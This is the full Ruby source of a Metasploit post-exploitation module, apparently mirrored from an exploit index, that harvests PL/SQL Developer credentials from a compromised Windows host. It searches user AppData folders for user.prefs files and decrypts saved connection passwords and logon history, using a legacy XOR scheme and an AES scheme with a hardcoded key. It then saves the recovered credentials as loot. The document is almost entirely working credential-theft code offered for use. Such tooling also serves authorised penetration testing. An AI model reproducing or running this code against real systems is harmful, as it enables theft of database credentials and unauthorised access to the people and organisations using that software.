## https://sploitus.com/exploit?id=MSF:POST-WINDOWS-GATHER-CREDENTIALS-PLSQL_DEVELOPER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
'Description' => %q{
This module can decrypt the histories and connection credentials of PL/SQL Developer,
and passwords are available if the user chooses to remember.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
],
'Author' => [
'Adam Caudill', # Discovery of legacy decryption algorithm
'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_ls
stdapi_fs_separator
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
]
)
end
def decrypt_str_legacy(str)
result = ''
key = str[0..3].to_i
for i in 1..(str.length / 4 - 1) do
n = str[(i * 4)..(i * 4 + 3)].to_i
result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
end
return result
end
# New AES encryption algorithm introduced since PL/SQL Developer 15.0
def decrypt_str_aes(str)
bytes = Rex::Text.decode_base64(str)
cipher = OpenSSL::Cipher.new('aes-256-cfb8')
cipher.decrypt
hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')
cipher.key = hash + hash[0..11]
cipher.iv = bytes[0..7] + "\x00" * 8
return cipher.update(bytes[8..]) + cipher.final
end
def decrypt_str(str)
# Empty string
if str == ''
return ''
end
if str.match(/^(\d{4})+$/)
return decrypt_str_legacy(str) # Legacy encryption
elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})
return decrypt_str_aes(str[2..]) # New AES encryption
end
# Shouldn't reach here
print_error("Unknown encryption format: #{str}")
return '[Unknown]'
end
# Parse and separate the history string
def parse_history(str)
# @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined
result = Hash[@keys.map { |k| [k.to_sym, ''] }]
result[:Parent] = '-2'
if str.end_with?(' AS SYSDBA')
result[:ConnectAs] = 'SYSDBA'
str = str[0..-11]
elsif str.end_with?(' AS SYSOPER')
result[:ConnectAs] = 'SYSOPER'
str = str[0..-12]
else
result[:ConnectAs] = 'Normal'
end
# Database should be the last part after '@' sign
ind = str.rindex('@')
if ind.nil?
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end
result[:Database] = str[(ind + 1)..]
str = str[0..(ind - 1)]
unless str.count('/') == 1
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end
result[:Username] = str[0..(str.index('/') - 1)]
result[:Password] = str[(str.index('/') + 1)..]
return result
end
def decrypt_pref(file_name)
file_contents = read_file(file_name)
if file_contents.nil? || file_contents.empty?
print_status "Skipping empty file: #{file_name}"
return []
end
print_status("Decrypting #{file_name}")
result = []
logon_history_section = false
connections_section = false
# Keys that we care about
@keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
# Initialize obj with empty values
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
# Folder parent objects
folders = {}
file_contents.split("\n").each do |line|
line.gsub!(/(\n|\r)/, '')
if line == '[LogonHistory]' && !(logon_history_section || connections_section)
logon_history_section = true
next
elsif line == '[Connections]' && !(logon_history_section || connections_section)
connections_section = true
next
elsif line == ''
logon_history_section = false
connections_section = false
next
end
if logon_history_section
# Contents in [LogonHistory] section are plain encrypted strings
# Calling the legacy decrypt function is intentional here
result << parse_history(decrypt_str_legacy(line))
elsif connections_section
# Contents in [Connections] section are key-value pairs
ind = line.index('=')
if ind.nil?
print_error("Invalid line: #{line}")
next
end
key = line[0..(ind - 1)]
value = line[(ind + 1)..]
if key == 'Password'
obj[:Password] = decrypt_str(value)
elsif obj.key?(key.to_sym)
obj[key.to_sym] = value
end
# Color is the last field of a connection
if key == 'Color'
if obj[:IsFolder] != '1'
result << obj
else
folders[obj[:Number]] = obj
end
# Reset obj
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
end
end
end
# Build display name (Add parent folder name to the beginning of the display name)
result.each do |item|
pitem = item
while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'
pitem = folders[pitem[:Parent]]
if pitem.nil?
print_error("Invalid parent: #{item[:Parent]}")
break
end
item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
end
if item[:Parent] == '-2'
item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]
else
item[:DisplayName] = '[Connections]/' + item[:DisplayName]
end
# Remove fields used to build the display name
item.delete(:Parent)
item.delete(:Number)
item.delete(:IsFolder)
# Add file path to the final result
item[:FilePath] = file_name
end
return result
end
def enumerate_pref(plsql_path)
result = []
pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
session.fs.dir.entries(pref_dir).each do |username|
udir = pref_dir + session.fs.file.separator + username
file_name = udir + session.fs.file.separator + 'user.prefs'
result << file_name if directory?(udir) && file?(file_name)
end
return result
end
def run
print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
profiles = grab_user_profiles
pref_paths = []
profiles.each do |user_profiles|
session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
if dirname.start_with?('PLSQL Developer')
search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
pref_paths += enumerate_pref(search_dir)
end
end
end
pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?
result = []
pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }
tbl = Rex::Text::Table.new(
'Header' => 'PL/SQL Developer Histories and Credentials',
'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
)
result.each do |item|
tbl << item.values
end
print_line(tbl.to_s)
# Only save data to disk when there's something in the table
if tbl.rows.count > 0
path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
print_good("Passwords stored in: #{path}")
end
end
end